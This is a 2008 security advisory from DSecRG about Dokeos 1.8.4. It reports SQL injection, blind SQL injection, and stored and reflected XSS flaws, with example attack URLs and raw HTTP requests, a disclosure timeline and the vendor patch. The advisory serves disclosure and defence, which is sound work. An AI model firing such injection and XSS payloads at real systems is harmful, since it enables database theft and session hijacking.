SecurityReason - Multiple Security Vulnerabilities in Dokeos 1.8.4

Advisory Text :

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-015

Application: Dokeos E-Learning System
Versions Affected: 1.8.4
Vendor URL: http://dokeos.com
Bugs: Multiple SQL Injections,Multiple Blind SQL
Injections,Multiple XSS, etc.
Exploits: YES
Reported: 25.01.2008
Vendor response: 28.01.2008
Patch released: 12.02.2008
Date of Public Advisory: 19.02.2008
Authors: Alexandr Polyakov, Stas Svistunovich
Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

Dokeos E-Learning System system has multiple security vulnerabilities:

1. Multiple SQL Injections
2. Multiple Blind Sql Injections
3. Multiple Stored XSS
4. Multiple Linked XSS
5. Image XSS

Details
*******

1. Multiple SQL Injections

1.1 Attacker can inject SQL code in module /whoisonline.php vulnerable
parametr id
Attacker must have valid user creditionals

Example:
http://[server]/[installdir]/whoisonline.php?id=1'+and+"dsec"="dsecrg"+u
nion+select+user(),version()/*

1.2 Attacker can inject SQL code in module main/mySpace/index.php
vulnerable parameter tracking_list_coaches_column

Example:

http://[server]/[installdir]/main/mySpace/index.php?tracking_list_coache
s_direction=ASC&tracking_list_coaches_page_nr=1&tracking_list_coaches_pe
r_page=20&view=admin
&tracking_list_coaches_column=0';

1.3 Attacker can inject SQL code in module
/dokeos/main/create_course/add_course.php POST Parameter tutor_name

Example:

POST /dokeos/main/create_course/add_course.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Content-Length: 107
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/dokeos/main/create_course/add_course.php

title=1234&category_code=PROJ&wanted_code=1234&course_language=slovenian
&_qf__add_course=&
tutor_name='

---------------------------------------------------------------------

2. Multiple SQL Injections

2.1 Vulnerability found in script index.php in header parameter "Referer"

Example:

GET /dokeos/index.php HTTP/1.0
Cookie: dk_sid=av68g9lus300ts870iqebhneh5
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: localhost
Referer: '

2.1 Vulnerability found in script /main/admin/class_list.php? in header
parameter "X-Fowarded-For"

---------------------------------------------------------------------

3. Stored XSS vulnerability found in /main/auth/inscription.php attacker
can inject XSS in POST parameter username

---------------------------------------------------------------------

4. Multiple linked XSS

4.1 Linked XSS vulnerability found in dokeos/main/calendar/myagenda.php
attacker can inject XSS in parameter courseCode

Example:

http://[server]/[installdir]/main/calendar/myagenda.php?courseCode="><sc
ript>alert('DSecRG XSS')</script>

4.2 Linked XSS vulnerability found in main/admin/course_category.php
attacker can inject XSS in parameter category

Example:

http://[server]/[installdir]/dokeos/main/admin/course_category.php?categ
ory=<script>alert('DSecRG XSS')</script> HTTP/1.0

4.3 Linked XSS vulnerability found in /dokeos/main/admin/session_list.php
attacker can inject XSS in parameter cmessage

Example:

http://[server]/[installdir]/dokeos/main/admin/session_list.php?action=s
how_message&message=>%22%27><img/src=javascript:alert('DSecRG XSS')>

---------------------------------------------------------------------

5. Image XSS vulnerability in page main/auth/profile.php attacker can
upload avatar picture with XSS code:

Example:

More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian)

---------------------------------------------------------------------

Fix Information
***************

Vendor fix this flaw on 12.02.2008. Patch for version 1.8.4 can be
downloaded here:

http://www.dokeos.com/wiki/index.php/Security#Dokeos_1.8.4_SP2_download

About
*****

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27001:2005 and PCI DSS standards. Digital Security Research Group focuses
on web application and database security problems with vulnerability
reports, advisories and whitepapers posted regularly on our website.

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